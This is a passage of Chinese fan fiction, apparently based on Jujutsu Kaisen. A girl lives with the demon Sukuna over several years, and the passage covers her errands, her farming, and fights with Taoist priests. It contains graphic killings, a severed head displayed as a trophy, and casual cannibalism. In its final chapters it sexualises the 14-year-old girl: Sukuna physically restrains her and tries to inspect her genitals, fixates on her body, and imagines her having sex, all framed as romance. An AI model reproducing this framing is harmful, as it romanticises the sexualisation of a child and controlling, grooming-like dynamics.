伊田奈偏开视线,落到门槛,“掌柜的,我听说好奇心会害死猫,我知道掌柜的不是这样的人,你们这个店铺也一定不会有这样的猫,你说是吧?”
冷汗沁透掌柜的背心,掌柜的神色惶恐,点头哈腰,“不会有的!您放一百个心!”
伊田奈背起手出门:“衣服几日后能做好?到时候我来取。”
掌柜的想了想,连忙答道:“三日,三日后便可完成。”
伊田奈点头:“行,那我三日后来取。”
街边闲逛一日,伊田奈收获颇丰,打下的成果占据了宿傩一半的房间。
堆成小山的包裹,开了一半的衣服。
伊田奈后知后觉:“竟然会忘记买家具,到时候去拿衣服的时候一定得补上。”
宿傩气场阴沉,摘下面具斗篷,一脸不耐烦:“你到底要搞什么名堂?”
目光淡淡扫过屋子内陈设的各式物品,宿傩眼里瞧不见半点喜悦,瞳孔散发寒气。
伊田奈听到这话,不再执着于整理今天买到的玩意儿,找出特地挑选的超大块猪排骨,还有瘦肉,在市场上买到的盐、香料、锅。
在昨夜烤鱼的地方搭了个简易的灶台,架上锅,河边洗干净食材,伊田奈小小的身体蕴藏无限的能量,在灶台边上飞快轮动锅铲。
宿傩这一日都没出去,懒洋洋跟在伊田奈身后,当了一日保镖,此刻衣袍松松垮垮套在身上,四只手蜷缩着在衣袖里,站着的姿势绝对称不上正直。
街溜子最喜欢的站姿。
宿傩一副做什么事情都提不起兴趣的样子。
肉油香料一下锅,滋滋冒出香气,顺着白烟飘入空中。
宿傩鼻子动了动,嗅到鼻边的香气,吃到烤鱼的时候宿傩就知道这个人类深藏不露,果不其然。
“你真的只是人类?”宿傩眯着眼,唇角扬起。
伊田奈小小一个,抡着一个锅铲,头也没抬,“不是人,难不成我是神仙?”
宿傩嘴角狰狞,“呵呵”几声,声音难听狰狞。
伊田奈听得欲言又止,最后嘴边的话吞进肚子里。
和神经病无话可说。
一大锅香气飘飘的猪排骨成功出锅,伊田奈浑身馋虫都被成功勾起来。
好香!
有调料的食物吃起来就是不错!
吃到香香的猪排骨,伊田奈心情非常愉快!连看宿傩的眼神也多了几分愉悦。
伊田奈吃了三大碗就放下,剩下的一锅全进了宿傩肚子里。
伊田奈摸着肚皮,瞧着宿傩吃得津津有味,难为这家伙吃东西的时候竟然还有吃相可言。
早先瞧见宿傩抓了个壮丁过来,伊田奈还以为宿傩是个茹毛饮血,没什么礼仪的家伙,谁知道对方吃东西却竟然还挺斯文。
“你从前都是吃人肉?”伊田奈问。
8. 妖女
宿傩抬眸,淡淡扫过伊田奈,吃东西的动作一点都没停下,“怎么,有什么区别?”
人肉和猪肉有什么区别?
不过是一个煮熟,另一个没煮熟罢了。
伊田奈就知道是这样,不甘心继续问:“从前送来的祭品也是这样?”
吃的慢条斯理的妖怪大人点头。
伊田奈找不到话,一时间不知道到底该说些什么,只道:“那您还真是荤素不忌。”
吃完饭,伊田奈要收拾今天大采购买到的物品。
钱庄老板处收获不少,今日采购了一日,也才花掉缴来的不到一半的银两。
伊田奈把属于自己的榻榻米从行李堆里翻出来,摆在间隔宿傩的四脚桌旁。
伊田奈和宿傩隔了一张四脚桌外加一段到四脚桌的距离。
宿傩拖着长长的衣袍走进来,轻轻一扫,动作顿住,目光落到伊田奈的榻榻米上,伊田奈专心致志地整理榻榻米。
鼻边隐约能嗅到若有若无的香气。
“你在做什么?”浑厚低沉的男声响起。
伊田奈跪在榻榻米上,回头,“没做什么,我在整理我的东西。”顿了顿,她嘴角高高扬起,“今天晚上我就可以自己一个人睡了!妖怪大人您不用担心我和您挤在一起了!”
“是吗?”男人两手交叠,高高站立在原地,声音听不出喜怒哀乐。
“是的,”伊田奈浑然不察,自顾自接着道,“瞌睡来了送枕头,原以为我运气不好,如今看来也不尽然,还是有好的时候。”
宿傩嘴唇紧抿,目光紧紧盯着面前怡然自得的女孩。
伊田奈脸上挂着笑,跪在榻榻米上,膝盖陷进去,凹出一个窝,似乎很满意买到的榻榻米。
宿傩神色暗下去,眼里闪着寒光。
奇异的感觉涌上心头,心上像是缺了一块,突如其来,涌起一片悸动。
从来没有出现过的感受。
宿傩眉心拧作一团,抬起手,捂住胸口,试图压下这股悸动。
伊田奈丝毫没有察觉,整理完榻榻米又跑到自己的物品堆大肆挑选整理。
笑呵呵的,半点看不出悲伤。
宿傩淡淡扫了一眼,人类女孩开心的背影很刺眼。
宿傩抬手,锋利的手指划过。
白色柳絮纷飞,丝丝白絮飘散在空中,像是下过一场雪。
白色丝絮飘过伊田奈耳边,伊田奈觉得奇怪,转过头,只见加绒豪华榻榻米被撕成了渣。
宿傩站在纷飞的白色棉絮之中,拍手。
高大的身影有了几分阴影。
他一副事不关己的样子,脸上云淡风轻。
伊田奈脑子宕机了几秒。
“我的床!”伊田奈难以置信,“你疯了?在干嘛。”
宿傩慢条斯理收回手,“它不行。”
一句话听得伊田奈心头一梗,“你没事碰它干嘛?”
吃饱了撑的?!
宿傩颦眉,粉红色的瞳孔扫过,一阵寒气涌来。
伊田奈:……
伊田奈闭上眼,深吸一口气,“你撕了我的床,那我今晚还是得和你一起睡。”
宿傩心下淤积堵塞处终于畅通。
不说话,也不做声。
夜里,闻到若有若无的淡淡清香,宿傩多日扰乱的烦人心绪似乎都被抚平。
他低头看了看蜷缩成一团,瑟缩在角落的人类,眸光闪烁。
心真是大。
片刻,宿傩闭上眼,随着均匀的呼吸声沉入梦乡。
宿傩这几日很闲,一次门都没出,但什么事也没干。
每日里不是躺在院子里大树的树干上闭着眼假寐,就是不知道藏在哪个角落偷偷偷窥。
帮忙那是一点都不可能的。
伊田奈买的东西很多。
这三日,伊田奈为两只鸡用篱笆围了个鸡圈,两只鸡很给力,每天都会下蛋,伊田奈每天都能捡两个鸡蛋。
鸡圈原本离房子很近。
只是围好鸡圈的第二天,凌晨天未亮时鸡便开始咯咯叫唤。
伊田奈睡得正香,被宿傩摇醒。
宿傩一脸阴沉:“你的鸡。”
伊田奈脑子昏昏沉沉,听不大清楚,眼睛半睁着,“你说什么?”
宿傩神色阴沉,满脸不耐烦,“你的鸡。”
宿傩一副随时要发狂的样子。
伊田奈醒了一半,怕两只下蛋的母鸡被宿傩不择手段杀害,打着哈欠,揉着眼睛起身,“等着,我换个位置。”
点上油灯,伊田奈摸黑出门,给两只鸡换了个安家位置。
母鸡的家从山上到了山下。
伊田奈换好位置,太阳从东方慢慢升起,半轮太阳掩盖在山后,日光昏黄,山上的树木摇头滴落点点朝露。
朝阳照在脸上,伊田奈顿时没了睡意,起都起了,不如做点其他事。
买的鲜花种子,蔬菜种子有了用场。
伊田奈扛着小锄头在房前开垦,松土,挖坑,撒种子。
忙活了一个早上,也才开垦出房前区域。
伊田奈累得面色通红,掏出手巾擦汗。
快到晌午,宿傩才慢悠悠从屋里出来,神色倦怠、懒散。
“我饿了。”宿傩双手交叠在胸前,半靠在门口,两条长腿吸睛夺目。
伊田奈宛若打工的长年,命苦放下锄头,化身伊大厨。
整整三日,妖怪没有一点帮忙的意识,伊田奈坐累了就休息,休息好了接着干。
就这样过了三日,伊田奈按照约定时间,换上新衣服,焕然一新出现在成衣店门口。
“老板,我的衣服做好了吗?”
宿傩站在伊田奈身后不远处。
帮工一眼就认出了三日前的大顾客,眼珠子转了转,上前,毕恭毕敬递上衣物。
“姑娘,衣服小店已经做好了,您瞧瞧如何?”
伊田奈接过定做的衣衫,手掌抚过,布料和那日在店内看的大差不差,纹路崎岖,花纹瞧着还算看得过去。
伊田奈翻过衣衫,没有做坏的地方,针脚细密。
仔仔细细检查了一道,伊田奈付过钱。
帮工把衣服包好。
“你们店不错,下次我要找衣服还来找你们。”
伊田奈话音落下,拎着两套衣裳走到宿傩跟前,扯他衣袖,“我们回去吧。”
小院。
宿傩勾了勾嘴角,脸上浮现一抹讥讽之色,“真是新奇,又
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有不知死活的尾巴跟上来了。”
“孽障,还是被你给发现了!”
几个穿着和服木屐的老者不知道从什么地方钻出来。
伊田奈提着衣裳往里走的动作一顿,转了转眼珠,就望见这群不知道干嘛的家伙。
“孽障,你在这深山老林就算了,竟敢跑到镇上为非作歹!简直是不把我们放在眼里!”为首那人破口大骂。
“作恶?”像是被那人的愚蠢取悦到,宿傩唇角又向上勾了勾,“你说说,我做了什么恶?”
这笑容落到那几人眼里,变成赤裸裸的挑衅。
“你这孽障,竟然还敢挑衅我们?你知道我们是谁吗?”为首之人身旁那人站出来,指着宿傩大骂,“你竟然敢在人类活动的领域大摇大摆的展开杀戒,真把我们当做摆设了?”
大开杀戒?
伊田奈皱紧眉头思索,妖怪这几日几乎没出去,怎么会去杀人,还大开杀戒?
想不明白。
“你去杀人了?”伊田奈问。
“有什么关系?”宿傩神色傲慢,睥睨几个前来挑衅的人,语气轻佻,“不过是几个渣滓罢了……”
挑衅那几人被气的面色发红,目光转向伊田奈。
“小姑娘,你年纪轻轻,便助纣为虐,如今我们既来,还不快快迷途知返!”
伊田奈视线在神神叨叨看起来像道士的几人还有妖怪之间打转。
片刻,伊田奈走上前,“妖怪大人,您还是把我拎起来吧,待会您要是出手别伤到我。”
在妖怪和不像好人的道士之间,伊田奈毫不犹豫选择了妖怪。
“你这小姑娘,我看你就是个小妖女,如此助纣为虐!长大以后岂还了得?”
“今日我们便替天行道,收了你们这为非作歹的二人!”
几人摆好阵型,怒目圆睁。
伊田奈自诩也是见过大世面的人了,看到这样的场面还是忍不住震惊。
她指了指自己,难以置信,“我,为非作歹?我看你们眼睛长到屁股上去了!”
宿傩这回发自内心的笑出声,嘲讽地看着那几人。
几人面色涨如猪肝,刚要开口,伊田奈便接着说:“我是小妖女,你们还是老妖道呢!贼道士!毛都没几根了,一把骨头架子,还在这里逞英雄!不要脸!”
几人气得一口气吊在嗓子眼。
“我们不与你们这些蛊惑人心的邪魔歪道废话!”
几人旋即便要动手。
伊田奈反应快,扯住妖怪衣袖,“妖怪大人您那么多只手,分出只手保护保护小的呗!”
宿傩抬了抬眼皮,“不用,他们靠近不了你。”
只见一阵风闪过,几个装模作样的老道忽感脖子间一阵刺痛,垂眸瞧时。
只见脖子间被整整齐齐划开一道口,殷红的鲜血后知后觉从伤口流出。
“怎…怎么可能?!”叫嚣的最嚣张的那名道人开口,鲜血如注,从口中喷涌,没说一个字,血就多流一分。
“一群杂碎。”连一招都没能挺过去。
老道临死之际都不肯相信,多年来刻苦修炼,如今不过一招便命丧黄泉。
他两只眼睛瞪的大大的,就这样直挺挺地栽倒在地上。
9. 宠物
倒下去前,他拼命伸手摸向衣袖,只可惜身体传来的刺痛更胜一筹,手停在袖子处,没摸到藏在袖子里的东西。
几个人直挺挺栽倒下去。
宿傩轻蔑骂着:“这点实力也敢跑过来,不知死活。”
说完,深深朝远处看了一眼,收回视线。
伊田奈站在原地,手里还提着衣服,亲眼目睹几个人的死亡。
宿傩蹲下,笑着问她:“怎么样,小鬼,怕了吗?”
锋利的指甲轻轻刮过人类女孩脸颊,干瘪的脸上终于有了一丝色彩。
宿傩接着道:“害怕了?”
伊田奈摇头,眼神真挚,如实道:“他们死是他们活该,你不是好人,他们更不是。”
宿傩笑得开心,眼睛笑眯成一条缝,用手捂住眼,脑袋后仰,“你这性格,我喜欢。”他说。
伊田奈:“哦。”
她站在原地看宿傩笑,知道宿傩笑够了。
宿傩问:“你不害怕?”
伊田奈:“不怕。”
宿傩丢下一句:“希望你以后也不会害怕。”
伊田奈知道,定然是这位妖怪又犯病了,不然怎么会说出如此稀奇古怪的话。
她顺从宿傩的意思,点点头,附和:“希望如此。”
话锋一转,“你不杀我了。”
宿傩不答这话,眼里直勾勾写着——看我心情。
“好的,我知道你的意思了。”伊田奈读懂眼神信息含量百分之七十。
宿傩才杀过人,此刻心情不错,“你呢,小鬼,你不是一副寻死觅活,铁骨铮铮的模样,如今倒是有闲心。”
伊田奈道:“拖了妖怪大人您的福气,发现日子还是有奔头的,好死不如苟活,尤其是活在妖怪大人身边。”
妖怪有满屋的金银财宝,平日里性子是有些难缠,甚至有时候疯疯癫癫,加之妖怪不同寻常的外貌,常人定是避之不及,伊田奈则不然。
因为——她本身也不是什么好人。
大哥不说二哥。
从前在村子里想死,是因为这个世界太狗屎了,想要舒服地活下去一点盼头都没有,如今境况不同,妖怪满屋金银财宝。
不花白不花。
反正受了那么多苦。
两人有默契的没有再提死亡的事情。
宿傩迈开长腿,大跨步朝里走。
“等等!”伊田奈叫住他,打开手里地包裹,露出定制的衣物,“我瞧着你总是穿这件衣服,那天去店里逛,瞧着那家店还有量身不错的布料,给你做了两套成衣。”
宿傩视线落到衣服上,瞧见衣服上的花纹,心上一紧,眼里有一刻失神。
“哼……”宿傩冷哼一声,“寻常衣物我可穿不了。”
“我自然知道,这不是按照妖怪大人您的身高体型定做的。”伊田奈道,“大人您赏赏光,给小的一份薄面,试一试这衣服可好?”
宿傩漫不经心,直直走进去。
“诶,大人您等等!你还没有瞧瞧这衣服究竟合不合身呢!”伊田奈追在后头。
秋收冬藏,一年过去。
伊田奈在院子里种下的蔬菜过去几个季节,长势很不错,枝桠青绿,口感清爽。
院子里撒下的鲜花种子在春天时纷纷变成美丽的花朵,有蝴蝶兰、玫瑰花、紫藤萝、以及种种不知名的野花。
下蛋的母鸡数量增加了一倍不止,每日伊田奈都能捡到一大兜鸡蛋,若是什么时候嘴馋,想吃鸡,那便去捉上一两只,扒光毛,煮着吃或十烤着吃,味道十分鲜美。
为了让这具身体更好地成长,伊田奈牵来一只羊,每日从小羊处挤奶,高温消毒,每天一杯。
和宿傩分享过一回,宿傩只喝了一口,说什么都不肯再喝第二口,所有的羊奶边都是伊田奈一人的。
第一年,伊田奈干瘪的身体好转了不少,大鱼大肉补着,体重涨了不少。
第二年,伊田奈的面色渐渐红润,种田时不再面红脖子粗。
第三年,伊田奈身高高了一大截,从小豆芽菜发育成大豆芽菜。
还是住在那座山顶部,堆金银的房间摇身一变变作杂物间,另一间屋子作了灶房,每日烧火煮饭的地方。
宿傩一如既往的神经,时不时发疯,有时候疯起来简直就是不可多得的颠公,活脱脱像来了大姨夫。
有一日,这家伙拎着一个血淋淋的东西回来。
伊田奈先前没注意,定睛一瞧,原来是个人头!
宿傩也不嫌脏,血迹滴了一路。
他把人头高高挂在墙壁上,依稀看见是一个男人的面孔。
伊田奈没敢仔细瞧,上去问他:“你发疯了不成?怎么把这东西带回来?”
宿傩吊儿郎当摸了摸脸上的血迹,舌头在唇上舔了舔,饶有兴味地说:“可敬的对手,自然有资格留在这里。”
他身上的绛红色衣袍多了不少抓痕、血迹,衣角甚至被撕下一大块,衣服、脸,不知侵染的是谁的血渍。
“因为对手可敬,所以把对方的人头挂在屋子里观赏?”伊田奈笑了一下,道,“晚上睡觉的时候妖怪大人您是不是打算和对方在梦里打一架。”
宿傩摊手,认知思考这个问题的可能性:“如果他有这个本事,也不是不可以。不过,只会是我赢。”
高达傲慢的男人脸上滑落瘆人的血滴,笑得轻狂放纵。
他就站在那里,周身自然流露一股王霸之气。
伊田奈薄唇紧抿,转过身,不再看他,“那今晚你自己一个人睡吧,和你可敬的对手睡在一起。”
宿傩沉浸在自己的艺术中无法自拔,直到天黑,伊田奈都没在房间出现过。
院子的竹编躺椅上多了一个握着大蒲扇的女孩,女孩睁着一双大眼睛,水灵灵的,头发齐肩,随意扎在脑袋上,多了几分肆意的美,她穿着白色大马褂,躺得好不惬意。
“回去。”宿傩脸上的血迹干涸凝结在一起,穿着的衣袍还是白日那套,他脸色阴沉,浑身散发一股阴郁、血腥之气。
“不去,”伊田奈摇着大蒲扇扇凉,两只眼睛亮晶晶的,“你不是要同你那位可敬的对手在夜里打一架?我若此时去了,岂不是打扰了你的好兴致。”
宿傩脸上黑的可以滴水。
他静静站在原地,阴恻恻盯着伊田奈瞧了半响。
对方沉浸在自己的世界里,看样子,半点都不想与人说话。
宿傩又立了一会儿,旋即转身。
没过一会儿,伊田奈身侧传来一阵
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风。
“它已经被我取走,你可以回去了。”宿傩声音低沉,他脸上的血迹洗得一干二净,身上换了一身月白色衣袍,这套衣袍是伊田奈花大价钱定做的,勾勒出宿傩挺拔的身姿。
伊田奈不动。
愚蠢的人类,她在挑战他的权威。
宿傩拔腿边想离开,他为何要屈尊,在一个人类小姑娘身上浪费时间。
理智告诉宿傩应该离开,身体却停在原地。
“我换了一身干净的衣衫。”宿傩补充。
伊田奈不为所动,眼睛盯着远方,就是一眼都不朝宿傩这地方瞧来。
宿傩沉默:“……以后我不会再带这些东西回来。”
这是他的让步。
不知何时,宿傩的思绪早已被这可恶的人类牵着走。
她不过是他养的一只宠物罢了。
他的宠物,待遇自然要比其余人好些……
宿傩在内心告诉自己。
一定是这样。
躺在竹编躺椅上的少女听到这话,亮晶晶的眼睛终于朝宿傩的方向望去,“你说真的?”
“真的。”宿傩听见自己的声音。
“好吧,那我们回去吧!”伊田奈起身,拉住宿傩的袖子,“妖怪大人,你真好!”
宿傩心底的石头落下,嘴角也在不知情的情况下悄悄上扬。
妖怪的领地,没有人敢闯。
至少伊田奈从未见过不长眼睛的人舞到自己面前。
山上的花开了一茬又一茬,田里的菜也不知道收了多少回。
转眼间,伊田奈个头又悄悄窜了不少。
约莫是十二岁那年,伊田奈在镇上闲逛,忽然发觉身后有人鬼鬼祟祟尾随。
那人技术不行,一跟上,伊田奈便发现了。
伊田奈故意让宿傩藏起来。
那人跟上的距离变近了。
穿着粉色衣裙的少女拐进巷子里,由纪害怕跟丢,赶紧跟了上去。
箱子里很空旷,半个人影子都敲不见,由纪不由慌了,四处寻找着。
“原来是你,你为什么跟着我?”穿着衣裙的少女,扎着小辫子的少女从角落跳出来,挡在由纪面前。
由纪心下紧张,说话时不由磕磕绊绊:“我…我…有事想寻你说…”
“有什么事?”伊田奈插着双手,一幅流氓样,“你这姑娘长得还挺美,我们应该没什么交际,你能有什么事情同我说?”
“我…我…”由纪磕磕绊绊,话到嘴边,一时间紧张,说不出来,便直接扑通一声跪下。
伊田奈一惊,丈二和尚摸不着头脑,“好端端的你跪我做什么?快起来。”
“不!”由纪这回说话清楚了,“恩人,我,我是来同你告别的!”
伊田奈没认出面前这位水灵灵的姑娘,更不知道什么时候帮助过她。
像是察觉到伊田奈的疑惑,由纪不等伊田奈询问,主动接着道:“恩人,当年我母亲病重,迫不得已抱着妹妹来镇上卖鸡,那是我家唯二的两只鸡,还是我拼命护下来的。”
“那天,我本打算要是卖不出那两只鸡,便带回去炖了,与母亲和妹妹二人分食,然后就此了断。”由纪脸上落泪,恍惚间又回到了当年卖鸡的那一日。
10. 成年
倘若不是得到好心人的帮助,只怕由纪早就化作一捧黄土,消散在风中。
“恩人,如果不是您帮了我,我绝对撑不到今日!”由纪磕头,“我…我要走了,想在走之前,和恩人道个别,就算我不在这儿了,也会记得恩人您的恩情。”
“我知道的,恩人,您是个好人,您除了帮我,还帮了不少镇上的人,您……您是我见过世界上最好的人!由纪这辈子都不会忘记您!”
好人?
伊田奈心里怪怪的,没想到有朝一日,她竟也和好人扯上关系。
伊田奈扶起由纪,脑海中思索半天,对当年抱着鸡的瘦弱身影有了点点印象。
“你不用如此,我帮你,从未想要过回报。”伊田奈道。
不过是些许金银,那些金银不论是对当时还是现在的伊田奈来讲,都是九牛一毛,即便送出去了,亦或是直接丢掉,对伊田奈本身也没什么影响。
没想到只是一个小小的善举,竟然能够让人记到今天。
由纪笑着摇头,“恩人,不一样的,没有你,就没有今天的我。”
伊田奈见状,不再多说,问道:“你要走了,去什么地方?”
“皇宫。”由纪说,“我被选作秀女,要进宫了。”
由纪站在原地,身材纤细瘦弱,脸上萦绕一层淡淡的忧伤。
她很清瘦,皮肤白皙,脸颊纤细,两只眼睛很大,很漂亮,尤其是一双眼睛盯着你的时候,人似乎都会陷进去。
素白色的粗布衣裳穿在身上,也难以掩盖由纪之美。
伊田奈似乎懂了为什么由纪会被选上。
伊田奈沉默片刻,顿了顿,道:“那不是个好地方,只会是无权无势者的坟墓。”
由纪这样在村镇上长大的孩子,只怕会被吃得连骨头都不剩。
“我知道,恩人。”由纪闻言,笑了笑,碎发滑过脸颊,眼里也带着温润的笑意,“可是我现在也不好过,我年纪不小了,家里叔叔伯伯如今虎视眈眈,妹妹和母亲不能没有我,要是我进了宫,他们的日子一定会比现在好过。”
“我想替妹妹和母亲挣个好前程。”由纪坚定道。
“你……”伊田奈见状,也只能言尽于此,“祝你好运。”
“谢谢恩人!”
素白色的背影消失在跟前,伊田奈呆愣出神,摇了摇头。
身材高大的男子上前,看着路口的背影,视线转移到粉衣少女身旁,“回去吗?”
“嗯,回去吧。”伊田奈点头。
各人各有各人命,要是由纪开口寻求伊田奈的帮助,伊田奈一定会为她选个好出路。
可由纪没有开口,她有自己的打算,倒不如让由纪自己去闯一闯。
毕竟,也不是没有草根闯出一番属于自己的天地,不是吗?
伊田奈垂下眼眸。
十四岁的某一天,伊田奈从床上醒来,身下一阵热、潮涌动,小腹处传来一阵隐隐的刺痛。
一睁眼,发现妖怪大人神色怪异地凑到她的下、体,鼻尖微微耸动,模样十分诡异。
伊田奈下意识伸手挡住下.体,“你在干嘛,怎么鬼鬼祟祟的?”
宿傩比她先睁开眼睛,嗅到一股若有若无的血腥味。
“你流血了。”他扫了伊田奈一眼,淡淡道,“昨晚明明什么事情都没有,怎么今日偏偏就流血了?你受伤了?”
说着,高大的妖怪伸出两只手,朝伊田奈的裤腰带伸去。
血?
伊田奈几乎是瞬间就知道了这是什么。
来月经了!
伊田奈挡住宿傩的两只手,向后退,“你别碰我!我……我这是人类的正常生理现象!”
宿傩动作顿住,“人类的正常生理现象,这是什么?”
粉红色的瞳孔紧紧盯住伊田奈,炽热的视线不加掩饰,赤裸裸暴露在空气中。
一抹红晕缠上伊田奈耳根。
“你别管,我没受伤,这是正常的。”伊田奈红着脸道。
“没事?”宿傩一只手抵住下巴,沉思片刻,“我瞧瞧。”
“瞧!”伊田奈声音尖锐起来,“你瞧什么瞧?!不许瞧!我很好!”
伊田奈起身,手腕被粗糙的手掌握住。
“站住。”妖怪阴沉着脸,长长的黑色睫毛颤动,“你究竟在做什么?”
他起身,半蹲着,半条腿跪在地上,即便这样,高大的身体也比快要一米六的伊田奈高上许多,他低头俯视,粉红色的瞳孔紧紧锁定伊田奈的眼睛。
“人类,你流血了,你要死了?”低沉浑厚的声音带着丝丝怒意,“你究竟背着我做了什么?”
伊田奈的身体被紧紧禁锢住,动弹不得,身体几乎贴在妖怪身上,皮肤处传来阵阵炙热滚烫。
伊田奈狭长的黑色长睫轻颤,粉色的瞳孔似乎要摄人心魄。
“你干嘛?我真没事。”伊田奈试图挣脱妖怪粗糙炙热的手掌,即便只是徒劳,却能让自己显得不那么狼狈。
妖怪粗糙宽大的手掌握得更紧,甚至将伊田奈拉上前,两人之间的距离贴得更近。
近到能感受到彼此温热的鼻息,跳动的心脏。
太近了——
伊田奈挣扎退后,最后近乎退到妖怪怀中。
似乎是为了惩罚,伊田奈越是挣脱,宿傩便越是推进与她的距离。
一场来自妖怪的无声审判。
两人几乎严丝合缝。
伊田奈率先败下阵来,“本来不想说的,你非要问,到时候可别自己害羞。”
宿傩轻嗤一声。
“我来葵水了,一般女生在十三四岁的时候都会有这东西,就是□□流血,每个月都会有那么几天,一般是七天,有的比这个时间短,有的比这个时间长,流完这几天就好了。”怕妖怪听不明白,伊田奈解释的很详细。
宿傩:“流血就流血,为什么不让我帮你看看。”
伊田奈咬紧牙关,摇了摇头,“你是真不明白还是假不明白?”
“明白什么?”妖怪一副天真模样。
伊田奈无奈叹气,被气得半死,红着一张老脸:“你瞧那地方做什么?知不知道男女有别?虽然你是妖怪,但是也是男的,我是女的,流血的那地方是男女交、配的地方,你是要和我交、配吗?”
伊田奈说完,脸色更是红得滴血,不敢看宿傩的表情,死命挣脱宿傩紧紧箍住她的手,朝储物间跑去,在箱子的最底层找到自
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己事先准备好的月经带。
换好干净的裤子,伊田奈在河边坐了半天,才慢悠悠回去。
早晨话说得太糙了,被妖怪气得头晕,竟然连交、配这种词语都说出来了。
伊田奈后知后觉害羞,觉得尴尬。
宿傩早已出门,不知道去做什么去了。
房间里空荡荡的。
伊田奈走上前,睡过的榻榻米上有一小块地方沾染了红色的血迹。
那一小团血迹旁隐隐多了一道指纹。
伊田奈才降温没多久,瞧见那道指纹印,脸上顿时爆红。
神经妖怪果然……
伊田奈咬牙,对方真是疯了,这都碰,不要脸!
日落西山,天色渐晚,宿傩这才慢悠悠回来,手上提着油皮纸包好的物件。
灶台里埋着柴,冒出猩红色光芒,锅里的菜冒着热气。
宿傩三两下吃完,拎着油皮纸包好的物件朝里走。
宿傩眸光一亮,榻榻米上的血迹已经被清扫干净。
今日伊田奈出门后,宿傩呆呆立在原地,耳边萦绕着“□□”二字,迟钝如他,反应了半晌才反应过来。
不过是男女脱光了衣服,两个人抱在一起罢了。
宿傩倒是见过不少这样的场面。
有什么好害羞的?
宿傩不解盯住朝外奔逃的背影。
他小心跟在她身后,见她从库房里鬼鬼祟祟取出什么东西,换了一套衣裙,脸色红彤彤的,一个人坐在河边发呆,朝河面丢石子。
确保人类生命无虞后,宿傩才寻去一家十分有名的医馆。
白胡子老头胆子很小,说话时细声细气,两条腿打颤。
“你是名医?”宿傩皱眉问,对名医的气度十分嫌弃。
还没那个人类小时候强。
“是,小的是。”
“瞧着不像。”宿傩左看右看,无法把风度翩翩的名医和眼前胆小的老头联系在一起。
白胡子顿时跪倒在地,大声嚷嚷,“大人,您别吃我!您别吃我!小的一定为您肝脑涂地!……”
又哭又吵。
吵得宿傩头疼。
这样的人,哪里配作什么名医。
庸医还差不多。
宿傩拂袖而去。
一连寻了好几处,那些个名医,宿傩一个都不满意。
胆小如鼠,毫无名医气度风骨。
一直寻到一个很远的地方,宿傩才勉强寻到一个还算满意的老头。
那个老头见了他,虽然害怕,可也比前面那些个名医好很多。
“女人的葵水会死人吗?”宿傩问他。
老头脸上先是一惊,没想到宿傩会问这样的问题,他摸了摸胡子,摇头,“不会。”
宿傩:“那为什么要流血?”
老头思索片刻:“自然定理,天地万物运行自由法则,这个小人也不知,只知道是顺其自然。”
“所有人都会有?”
“所有人都会有。”
宿傩心头的不耐烦这才稍加减弱,可想起伊田奈的异样,还是忍不住。
“我养了一个人类,她来了这个葵水,我想关心她,可她为什么那么抗拒?”
11. 伤口
白胡子老头顿时顿住,抚摸胡子的手停在空中,上下打量着宿傩。
“看什么看,老头。”宿傩一脸桀骜不驯,眼里写满“这老头欠扁”。
白胡子老头收回视线:“老夫只是惊奇罢了。”笑着摇摇头。
宿傩轻嗤一声,“胡子白见识短。”
“这位客官,女子来了葵水,便代表能够通过人体交合生产后代,你养的这位人类定然是因此,才不让你瞧。况且,于女子而言,那地方本就是私密之处,只有夫君才能看得,你又不是她的夫君,她如何会给你瞧那地方?”
“她不是抗拒你,她只是和所有普通女子一样,觉得害羞。”
“如今她既已来了葵水,老夫可以给她抓几副药,调理身体,滋养气血。”
宿傩在老头子医生那儿听了一会儿,拎着药慢悠悠回去。
一路上,宿傩陷入沉思。
交/配?
宿傩对这种事情并不感兴趣,既不能提升实力,也不能增强体质,有什么好交/配的?
他可不是被下半身支配的无脑男人。
只是……
想到伊田奈今日羞红的脸颊,宿傩沉默。
原以为只是养了一个供人取乐的人类女孩,谁承想这个人类女孩竟然会产生这样的麻烦。
来了葵水……
从当初干瘪瘦黄的人类小崽子变成如今这副白皙圆润的模样。
那双总是带着笑意的眼睛——
想到他从小养大的人类女孩以后的某一天可能会和人交/配,宿傩脸色阴沉得可以滴水。
穿着粉色衣裙的少女大大咧咧躺在加厚加绒榻榻米上,黑色的头发散开在下巴边缘,脸颊白皙,身材圆润,胸前隐隐有一片凸起曲线,她那一双水灵灵的眼睛盯着天花板,呆呆地。
瞧见宿傩进来,也只是转了转眼珠子,一动不动。
宿傩视线落到伊田奈胸前,心下涌起一阵怪异、难言的感受。
又想到伊田奈和别人交合的画面了。
那画面在宿傩脑海中挥之不去。
宿傩喉结上下滚动,移开视线。
“我给你带了药。”宿傩开口,发现自己的声音沙哑得可怕。
“什么药?”面颊白皙的少女脸颊转过来,一双黑漆漆的眼睛对上宿傩粉色的瞳孔。
四只眼睛齐刷刷落到伊田奈身上。
宿傩心下一颤。
“帮助缓解葵水的药。”
听到葵水二字,伊田奈脸色耳根刷一下红起来。
“我知道了,你放那儿,我待会自己去煎。”伊田奈别过头,留下一道背影。
宿傩向前,药包轻轻落到伊田奈身侧。
宿傩就势坐下,四只手拢进和服袖口,抱作一团。
“你的肚子,还痛吗?”空气中萦绕淡淡的血腥味。
伊田奈轻轻答道:“嗯,我已经好多了。”
宽大粗糙的手掌落在柔软的腹部,炙热的温度透过一层轻薄的衣衫传过去。
“我今日去找了大夫,大夫说,要是感觉不舒服,揉一揉会好过些。”宿傩垂眸。
高大的男人脸庞狰狞,此刻却做出最柔和的动作,眼里没有杀伐果断时的冰冷,只有一片牵挂。
“现在……怎么样?”
伊田奈看得出神,宿傩说了第二遍,伊田奈才慢慢点头,“谢谢,挺舒服的。”
“有用就行。”宿傩别开脸,似乎也因为叱咤风云的宿傩大人如今给一个小姑娘揉肚子而感到别扭、奇怪。
翌日,伊田奈早早起身,宿傩睁开眼。
伊田奈面色严肃:“妖怪大人,我已经长大了,不合适再和您睡在同一张床榻上了。”
不知不觉,快过去了十年。
过去的这些日子,伊田奈都是和宿傩同榻而眠。
只要伊田奈带回属于自己的床铺,宿傩总是会从各种角度撕碎它。
如今伊田奈已经来了葵水,自然想要正式拉开和宿傩的距离。
宿傩闻言,睡意醒了一半。
“长大了,就不能睡到一起?”宿傩半眯眼,一只手撑在脸颊侧,宽大的袖袍松松垮垮挂在身上,露出根骨分明,青筋暴起的锁骨。
“嗯。”伊田奈煞有其事点头。
宿傩闻言,眼中森森怒意。
“我的意思是我新加的床褥子就加到妖怪大人您的身边,到时候睡的时候,咱们还是在一起,只是自己躺在自己的床褥子上。”伊田奈补充。
